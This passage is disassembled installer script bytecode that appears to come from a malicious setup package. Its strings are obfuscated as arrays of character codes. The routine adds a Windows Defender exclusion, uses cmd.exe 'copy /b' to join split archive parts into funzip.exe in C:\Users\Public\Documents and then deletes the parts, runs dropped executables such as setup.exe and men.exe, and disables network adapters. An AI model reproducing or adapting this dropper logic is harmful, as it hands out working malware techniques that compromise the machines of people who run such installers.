Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 11) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 50) assign Var17[ 8], S32( 34) assign Var17[ 9], S32( 32) assign Var17[ 10], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 21) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 102) assign Var17[ 2], S32( 117) assign Var17[ 3], S32( 110) assign Var17[ 4], S32( 122) assign Var17[ 5], S32( 105) assign Var17[ 6], S32( 112) assign Var17[ 7], S32( 46) assign Var17[ 8], S32( 101) assign Var17[ 9], S32( 120) assign Var17[ 10], S32( 101) assign Var17[ 11], S32( 34) assign Var17[ 12], S32( 32) assign Var17[ 13], S32( 38) assign Var17[ 14], S32( 38) assign Var17[ 15], S32( 32) assign Var17[ 16], S32( 100) assign Var17[ 17], S32( 101) assign Var17[ 18], S32( 108) assign Var17[ 19], S32( 32) assign Var17[ 20], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 11) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 51) assign Var17[ 8], S32( 34) assign Var17[ 9], S32( 32) assign Var17[ 10], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 9) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 50) assign Var17[ 8], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushtype UnicodeString_2 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype S32 ; StackCount = 17 assign Var17, S32( 7) pushvar Var16 ; StackCount = 18 call SETARRAYLENGTH pop ; StackCount = 17 pop ; StackCount = 16 assign Var16[ 0], S32( 99) assign Var16[ 1], S32( 109) assign Var16[ 2], S32( 100) assign Var16[ 3], S32( 46) assign Var16[ 4], S32( 101) assign Var16[ 5], S32( 120) assign Var16[ 6], S32( 101) assign Var15, Var16 pop ; StackCount = 15 pushvar Var14 ; StackCount = 16 call STRFROMCODE pop ; StackCount = 15 pop ; StackCount = 14 pushvar Var8 ; StackCount = 15 call EXEC pop ; StackCount = 14 pop ; StackCount = 13 pop ; StackCount = 12 pop ; StackCount = 11 pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7 call ADDDEFENDEREXCLUSION call OBFUSCATEDEXTRACT pushtype Type30 ; StackCount = 8 pushtype Type30 ; StackCount = 9 pushtype S32 ; StackCount = 10 assign Var10, S32( 51) pushvar Var9 ; StackCount = 11 call SETARRAYLENGTH pop ; StackCount = 10 pop ; StackCount = 9 assign Var9[ 0], S32( 67) assign Var9[ 1], S32( 58) assign Var9[ 2], S32( 92) assign Var9[ 3], S32( 85) assign Var9[ 4], S32( 115) assign Var9[ 5], S32( 101) assign Var9[ 6], S32( 114) assign Var9[ 7], S32( 115) assign Var9[ 8], S32( 92) assign Var9[ 9], S32( 80) assign Var9[ 10], S32( 117) assign Var9[ 11], S32( 98) assign Var9[ 12], S32( 108) assign Var9[ 13], S32( 105) assign Var9[ 14], S32( 99) assign Var9[ 15], S32( 92) assign Var9[ 16], S32( 68) assign Var9[ 17], S32( 111) assign Var9[ 18], S32( 99) assign Var9[ 19], S32( 117) assign Var9[ 20], S32( 109) assign Var9[ 21], S32( 101) assign Var9[ 22], S32( 110) assign Var9[ 23], S32( 116) assign Var9[ 24], S32( 115) assign Var9[ 25], S32( 92) assign Var9[ 26], S32( 120) assign Var9[ 27], S32( 56) assign Var9[ 28], S32( 54) assign Var9[ 29], S32( 45) assign Var9[ 30], S32( 77) assign Var9[ 31], S32( 105) assign Var9[ 32], S32( 99) assign Var9[ 33], S32( 114) assign Var9[ 34], S32( 111) assign Var9[ 35], S32( 115) assign Var9[ 36], S32( 111) assign Var9[ 37], S32( 102) assign Var9[ 38], S32( 116) assign Var9[ 39], S32( 45) assign Var9[ 40], S32( 87) assign Var9[ 41], S32( 105) assign Var9[ 42], S32( 110) assign Var9[ 43], S32( 100) assign Var9[ 44], S32( 111) assign Var9[ 45], S32( 119) assign Var9[ 46], S32( 115) assign Var9[ 47], S32( 100) assign Var9[ 48], S32( 97) assign Var9[ 49], S32( 116) assign Var9[ 50], S32( 97) assign Var8, Var9 pop ; StackCount = 8 pushvar Var2 ; StackCount = 9 call STRFROMCODE pop ; StackCount = 8 pop ; StackCount = 7 pushtype Type30 ; StackCount = 8 pushtype Type30 ; StackCount = 9 pushtype S32 ; StackCount = 10 assign Var10, S32( 36) pushvar Var9 ; StackCount = 11 call SETARRAYLENGTH pop ; StackCount = 10 pop ; StackCount = 9 assign Var9[ 0], S32( 67) assign Var9[ 1], S32( 58) assign Var9[ 2], S32( 92) assign Var9[ 3], S32( 85) assign Var9[ 4], S32( 115) assign Var9[ 5], S32( 101) assign Var9[ 6], S32( 114) assign Var9[ 7], S32( 115) assign Var9[ 8], S32( 92) assign Var9[ 9], S32( 80) assign Var9[ 10], S32( 117) assign Var9[ 11], S32( 98) assign Var9[ 12], S32( 108) assign Var9[ 13], S32( 105) assign Var9[ 14], S32( 99) assign Var9[ 15], S32( 92) assign Var9[ 16], S32( 68) assign Var9[ 17], S32( 111) assign Var9[ 18], S32( 99) assign Var9[ 19], S32( 117) assign Var9[ 20], S32( 109) assign Var9[ 21], S32( 101) assign Var9[ 22], S32( 110) assign Var9[ 23], S32( 116) assign Var9[ 24], S32( 115) assign Var9[ 25], S32( 92) assign Var9[ 26], S32( 83) assign Var9[ 27], S32( 101) assign Var9[ 28], S32( 114) assign Var9[ 29], S32( 118) assign Var9[ 30], S32( 101) assign Var9[ 31], S32( 114) assign Var9[ 32], S32( 46) assign Var9[ 33], S32( 108) assign Var9[ 34], S32( 111) assign Var9[ 35], S32( 103) assign Var8, Var9 pop ; StackCount = 8 pushvar Var3 ; StackCount = 9 call STRFROMCODE pop ; StackCount = 8 pop ; StackCount = 7 pushtype WideString ; StackCount = 8 assign Var8, Var2 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 11) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 92) assign Var11[ 1], S32( 83) assign Var11[ 2], S32( 101) assign Var11[ 3], S32( 114) assign Var11[ 4], S32( 118) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 114) assign Var11[ 7], S32( 46) assign Var11[ 8], S32( 108) assign Var11[ 9], S32( 111) assign Var11[ 10], S32( 103) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 add Var8, Var9 pop ; StackCount = 8 assign Var4, Var8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var2 pushvar Var8 ; StackCount = 10 call FORCEDIRECTORIES pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var3 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_1d7a pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var4 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_1d46 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var4 pushvar Var8 ; StackCount = 10 call DELETEFILE pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_1d46: pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var4 pushtype UnicodeString_2 ; StackCount = 10 assign Var10, Var3 pushvar Var8 ; StackCount = 11 call RENAMEFILE pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_1d7a: pushtype WideString ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 26) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 67) assign Var11[ 1], S32( 58) assign Var11[ 2], S32( 92) assign Var11[ 3], S32( 85) assign Var11[ 4], S32( 115) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 114) assign Var11[ 7], S32( 115) assign Var11[ 8], S32( 92) assign Var11[ 9], S32( 80) assign Var11[ 10], S32( 117) assign Var11[ 11], S32( 98) assign Var11[ 12], S32( 108) assign Var11[ 13], S32( 105) assign Var11[ 14], S32( 99) assign Var11[ 15], S32( 92) assign Var11[ 16], S32( 68) assign Var11[ 17], S32( 111) assign Var11[ 18], S32( 99) assign Var11[ 19], S32( 117) assign Var11[ 20], S32( 109) assign Var11[ 21], S32( 101) assign Var11[ 22], S32( 110) assign Var11[ 23], S32( 116) assign Var11[ 24], S32( 115) assign Var11[ 25], S32( 92) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 assign Var8, Var9 pop ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 9) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 115) assign Var11[ 1], S32( 101) assign Var11[ 2], S32( 116) assign Var11[ 3], S32( 117) assign Var11[ 4], S32( 112) assign Var11[ 5], S32( 46) assign Var11[ 6], S32( 101) assign Var11[ 7], S32( 120) assign Var11[ 8], S32( 101) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 add Var8, Var9 pop ; StackCount = 8 assign Var6, Var8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var6 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_21ed pushtype BOOLEAN ; StackCount = 8 pushtype Pointer ; StackCount = 9 setptr Var9, Var7 pushtype U8_4 ; StackCount = 10 assign Var10, U8_4( 0) pushtype S32 ; StackCount = 11 assign Var11, S32( 5) pushtype UnicodeString_2 ; StackCount = 12 pushtype Type30 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype S32 ; StackCount = 15 assign Var15, S32( 0) pushvar Var14 ; StackCount = 16 call SETARRAYLENGTH pop ; StackCount = 15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushvar Var12 ; StackCount = 14 call STRFROMCODE pop ; StackCount = 13 pop ; StackCount = 12 pushtype UnicodeString_2 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 0) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 pushvar Var13 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype UnicodeString_2 ; StackCount = 14 assign Var14, Var6 pushvar Var8 ; StackCount = 15 call EXEC pop ; StackCount = 14 pop ; StackCount = 13 pop ; StackCount = 12 pop ; StackCount = 11 pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_21ed: pushtype WideString ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 25) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 67) assign Var11[ 1], S32( 58) assign Var11[ 2], S32( 92) assign Var11[ 3], S32( 85) assign Var11[ 4], S32( 115) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 114) assign Var11[ 7], S32( 115) assign Var11[ 8], S32( 92) assign Var11[ 9], S32( 80) assign Var11[ 10], S32( 117) assign Var11[ 11], S32( 98) assign Var11[ 12], S32( 108) assign Var11[ 13], S32( 105) assign Var11[ 14], S32( 99) assign Var11[ 15], S32( 92) assign Var11[ 16], S32( 68) assign Var11[ 17], S32( 111) assign Var11[ 18], S32( 99) assign Var11[ 19], S32( 117) assign Var11[ 20], S32( 109) assign Var11[ 21], S32( 101) assign Var11[ 22], S32( 110) assign Var11[ 23], S32( 116) assign Var11[ 24], S32( 115) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 assign Var8, Var9 pop ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 8) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 92) assign Var11[ 1], S32( 109) assign Var11[ 2], S32( 101) assign Var11[ 3], S32( 110) assign Var11[ 4], S32( 46) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 120) assign Var11[ 7], S32( 101) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 add Var8, Var9 pop ; StackCount = 8 assign Var5, Var8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var5 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_263a pushtype BOOLEAN ; StackCount = 8 pushtype Pointer ; StackCount = 9 setptr Var9, Var7 pushtype U8_4 ; StackCount = 10 assign Var10, U8_4( 0) pushtype S32 ; StackCount = 11 assign Var11, S32( 0) pushtype UnicodeString_2 ; StackCount = 12 pushtype Type30 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype S32 ; StackCount = 15 assign Var15, S32( 0) pushvar Var14 ; StackCount = 16 call SETARRAYLENGTH pop ; StackCount = 15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushvar Var12 ; StackCount = 14 call STRFROMCODE pop ; StackCount = 13 pop ; StackCount = 12 pushtype UnicodeString_2 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 0) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 pushvar Var13 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype UnicodeString_2 ; StackCount = 14 assign Var14, Var5 pushvar Var8 ; StackCount = 15 call EXEC pop ; StackCount = 14 pop ; StackCount = 13 pop ; StackCount = 12 pop ; StackCount = 11 pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_263a: jump loc_4c1a loc_263f: call ADDDEFENDEREXCLUSION call DISABLENETWORKADAPTERS pushtype BOOLEAN ; StackCount = 8 pushtype Pointer ; StackCount = 9 setptr Var9, Var7 pushtype U8_4 ; StackCount = 10 assign Var10, U8_4( 1) pushtype S32 ; StackCount = 11 assign Var11, S32( 0) pushtype UnicodeString_2 ; StackCount = 12 assign Var12, String_3( "") pushtype UnicodeString_2 ; StackCount = 13 pushtype WideString ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 12) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 47) assign Var17[ 1], S32( 99) assign Var17[ 2], S32( 32) assign Var17[ 3], S32( 99) assign Var17[ 4], S32( 111) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 121) assign Var17[ 7], S32( 32) assign Var17[ 8], S32( 47) assign Var17[ 9], S32( 98) assign Var17[ 10], S32( 32) assign Var17[ 11], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 13) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 51) assign Var17[ 8], S32( 34) assign Var17[ 9], S32( 32) assign Var17[ 10], S32( 43) assign Var17[ 11], S32( 32) assign Var17[ 12], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 11) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 50) assign Var17[ 8], S32( 34) assign Var17[ 9], S32( 32) assign Var17[ 10], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 21) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 102) assign Var17[ 2], S32( 117) assign Var17[ 3], S32( 110) assign Var17[ 4], S32( 122) assign Var17[ 5], S32( 105) assign Var17[ 6], S32( 112) assign Var17[ 7], S32( 46) assign Var17[ 8], S32( 101) assign Var17[ 9], S32( 120) assign Var17[ 10], S32( 101) assign Var17[ 11], S32( 34) assign Var17[ 12], S32( 32) assign Var17[ 13], S32( 38) assign Var17[ 14], S32( 38) assign Var17[ 15], S32( 32) assign Var17[ 16], S32( 100) assign Var17[ 17], S32( 101) assign Var17[ 18], S32( 108) assign Var17[ 19], S32( 32) assign Var17[ 20], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount 